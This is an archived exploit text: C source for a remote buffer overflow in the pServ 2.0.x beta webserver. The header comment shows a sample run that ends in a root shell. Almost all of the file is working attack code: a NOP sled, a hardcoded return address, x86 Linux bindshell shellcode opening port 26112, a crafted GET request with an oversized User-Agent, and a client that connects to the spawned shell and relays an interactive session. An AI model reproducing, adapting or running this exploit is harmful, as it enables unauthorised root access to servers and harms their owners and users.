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TUCoPS :: Web :: Servers :: bt1730.txt

pServ 2.0.x:beta webserver remote buffer overflow exploit by jsk







/*********************************************************************************\

*pServ 2.0.x beta:webserver remote buffer overflow exploit by jsk

*The aim of pServ (pico Server) is to create a portable, small webserver. 

*i want a sec webserver. so test some webserver.

*meet http://www.securityfocus.com/bid/6286

*Modified and exploit it..hehe...

*ths #ph4nt0m irc.0x557.org all #cheese

*[root@localhost tmp]# ./jsk -h 127.0.0.1 -p 2000 -t 0



*pServ 2.0.x:webserver remote buffer overflow exploit)

*Greets and all #ph4nt0m .

*bug found by  mattmurphy(at)kc.rr.com .



*[+] Hostname: 127.0.0.1

*[+] Port num: 2000

*[+] Retaddr address: 0xbfffd838

*[1] #1 Set  codes.

*[1] #1 Set socket.

*[*] attempting to connect: 127.0.0.1:2000.

*[*] successfully connected: 127.0.0.1:2000.

*[1] #1 Send codes.

*[1] #3 Get shell.

*[*] checking to see if the exploit was successful.

*[*] attempting to connect: 127.0.0.1:26112.

*[*] successfully connected: 127.0.0.1:26112.

*Linux localhost.localdomain 2.4.18-14 #1 Wed Sep 4 13:35:50 EDT 2002 i686 *i686 i386 GNU/Linux

*uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm)



\*********************************************************************************/



#include <stdio.h>



#include <signal.h>



#include <unistd.h>



#include <sys/socket.h>



#include <netdb.h>



#include <netinet/in.h>



#define BUFSIZE 220



#define BUFSIZE2 166



#define BUFSIZE3 1024



#define D_PORT 5803



#define D_HOST "www.ph4nt0m.org"



#define TIMEOUT 10







char shell[]=  /* bindshell(26112)&, netric. */



        "\x90\x90\x90\x31\xdb\xf7\xe3\x53\x43\x53"

        "\x6a\x02\x89\xe1\xb0\x66\x52"

        "\x50\xcd\x80\x43\x66\x53\x89"

        "\xe1\x6a\x10\x51\x50\x89\xe1"

        "\x52\x50\xb0\x66\xcd\x80\x89"

        "\xe1\xb3\x04\xb0\x66\xcd\x80"

        "\x43\xb0\x66\xcd\x80\x89\xd9"

        "\x93\xb0\x3f\xcd\x80\x49\x79"

        "\xf9\x52\x68\x6e\x2f\x73\x68"

        "\x68\x2f\x2f\x62\x69\x89\xe3"

        "\x52\x53\x89\xe1\xb0\x0b\xcd"

        "\x80";

struct op_plat_st



{



int op_plat_num;



char *op_plat_sys;



u_long retaddr;



int off_st;



};



struct op_plat_st __pl_form[]=



{







{0,"red 8.0",0xbfffd838,0},



{1,"DEADOS",0x44434241,0},





NULL



};



void banrl();



void x_fp_rm_usage(char *x_fp_rm);



unsigned short sock_connect(char *,unsigned short);



void getshell(char *,unsigned short);



void printe(char *,short);



void sig_alarm(){printe("alarm/timeout hit.",1);}



void banrl()



{



fprintf(stdout,"\n pServ 2.0.x:webserver remote buffer overflow exploit)\n");



fprintf(stdout," Greets all #ph4nt0m .\n");



fprintf(stdout," bug found by  mattmurphy(at)kc.rr.com .\n");



}







void x_fp_rm_usage(char *x_fp_rm)



{



int __t_xmp=0;



fprintf(stdout,"\n Usage: %s -[option] [arguments]\n\n",x_fp_rm);



fprintf(stdout,"\t -h [hostname] - target host.\n");



fprintf(stdout,"\t -p [port] - port number.\n");



fprintf(stdout,"\t -s [addr] - &shellcode address.\n\n");



fprintf(stdout," Example> %s -h target_hostname -p 8000 -t num\n",x_fp_rm);



fprintf(stdout," Select target number>\n\n");



for(;;)



{



if(__pl_form[__t_xmp].op_plat_num==(0x82))



break;



else



{



fprintf(stdout,"\t {%d} %s\n",__pl_form[__t_xmp].op_plat_num,__pl_form[__t_xmp].op_plat_sys);



}



__t_xmp++;



}



fprintf(stdout,"\n");

exit(0);

}







int main(int argc,char *argv[])



{



int port=D_PORT;



char hostname[0x333]=D_HOST;



int whlp,type=0;



unsigned int i=0;



char buf[BUFSIZE+1];

char buf2[BUFSIZE2+1];

char sendbuf[BUFSIZE3+1];

int sd;



u_long retaddr=__pl_form[type].retaddr;







(void)banrl();



while((whlp=getopt(argc,argv,"T:t:H:h:P:p:IiXx"))!=EOF)



{



extern char *optarg;



switch(whlp)



{



case 'T':



case 't':



if((type=atoi(optarg))<6)



{



retaddr=__pl_form[type].retaddr;



}



else (void)x_fp_rm_usage(argv[0]);



break;











case 'H':



case 'h':



memset((char *)hostname,0,sizeof(hostname));



strncpy(hostname,optarg,sizeof(hostname)-1);



break;







case 'P':



case 'p':



port=atoi(optarg);



break;







case 'I':



case 'i':



fprintf(stderr," Try `%s -?' for more information.\n\n",argv[0]);



exit(-1);







case '?':



(void)x_fp_rm_usage(argv[0]);



break;



}



}







if(!strcmp(hostname,D_HOST))



{



(void)x_fp_rm_usage(argv[0]);



}



{



fprintf(stdout," [+] Hostname: %s\n",hostname);



fprintf(stdout," [+] Port num: %d\n",port);



fprintf(stdout," [+] Retaddr address: %p\n",retaddr);



}







fprintf(stdout," [1] #1 Set  codes.\n");









 memset(buf, 0x90, BUFSIZE);

 



 memcpy(&buf[BUFSIZE-(sizeof(retaddr))], &retaddr, sizeof(retaddr));



 

 memset(buf2,0x90,88); 



 memcpy(buf2+88,shell, sizeof(shell));

 

 snprintf(sendbuf,1024,"GET %s /HTTP/1.0\r\nUser-Agent: %s\r\n\r\n",buf,buf2);

 

 fprintf(stdout," [1] #1 Set socket.\n");



 sd=sock_connect(hostname,port);



fprintf(stdout," [1] #1 Send codes.\n");



 write(sd,sendbuf,BUFSIZE3);



 close(sd);

 sleep(1);

fprintf(stdout," [1] #3 Get shell.\n");

 getshell(hostname,26112);

 exit(0);



}



unsigned short sock_connect(char *hostname,



unsigned short port){



 int sock;



 struct hostent *t;



 struct sockaddr_in s;



 sock=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);



 s.sin_family=AF_INET;



 s.sin_port=htons(port);



 printf("[*] attempting to connect: %s:%d.\n",hostname,port);



 if((s.sin_addr.s_addr=inet_addr(hostname))){



  if(!(t=gethostbyname(hostname)))



   printe("couldn't resolve hostname.",1);



  memcpy((char*)&s.sin_addr,(char*)t->h_addr,



  sizeof(s.sin_addr));



 }



 signal(SIGALRM,sig_alarm);



 alarm(TIMEOUT);



 if(connect(sock,(struct sockaddr *)&s,sizeof(s)))



  printe("netris connection failed.",1);



 alarm(0);



 printf("[*] successfully connected: %s:%d.\n",hostname,port);



 return(sock);



 }



void getshell(char *hostname,unsigned short port){



 int sock,r;



 fd_set fds;



 char buf[4096+1];



 struct hostent *he;



 struct sockaddr_in sa;



 printf("[*] checking to see if the exploit was successful.\n");



 if((sock=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==-1)



  printe("getshell(): socket() failed.",1);



 sa.sin_family=AF_INET;



 if((sa.sin_addr.s_addr=inet_addr(hostname))){



  if(!(he=gethostbyname(hostname)))



   printe("getshell(): couldn't resolve.",1);



  memcpy((char *)&sa.sin_addr,(char *)he->h_addr,



  sizeof(sa.sin_addr));



 }



 sa.sin_port=htons(port);



 signal(SIGALRM,sig_alarm);



 alarm(TIMEOUT);



 printf("[*] attempting to connect: %s:%d.\n",hostname,port);



 if(connect(sock,(struct sockaddr *)&sa,sizeof(sa))){



  printf("[!] connection failed: %s:%d.\n",hostname,port);



  return;



 }



 alarm(0);



 printf("[*] successfully connected: %s:%d.\n\n",hostname,port);



 signal(SIGINT,SIG_IGN);



 write(sock,"uname -a;id\n",13);



 while(1){



  FD_ZERO(&fds);



  FD_SET(0,&fds);



  FD_SET(sock,&fds);



  if(select(sock+1,&fds,0,0,0)<1)



   printe("getshell(): select() failed.",1);



  if(FD_ISSET(0,&fds)){



   if((r=read(0,buf,4096))<1)



    printe("getshell(): read() failed.",1);



   if(write(sock,buf,r)!=r)



    printe("getshell(): write() failed.",1);



  }



  if(FD_ISSET(sock,&fds)){



   if((r=read(sock,buf,4096))<1)



    exit(0);



   write(1,buf,r);



  }



 }



 close(sock);



 return;



}



void printe(char *err,short e){



 fprintf(stdout," [-] Failed.\n\n");



 fprintf(stdout," Happy Exploit ! :-)\n\n");







 if(e)



  exit(1);



 return;



}




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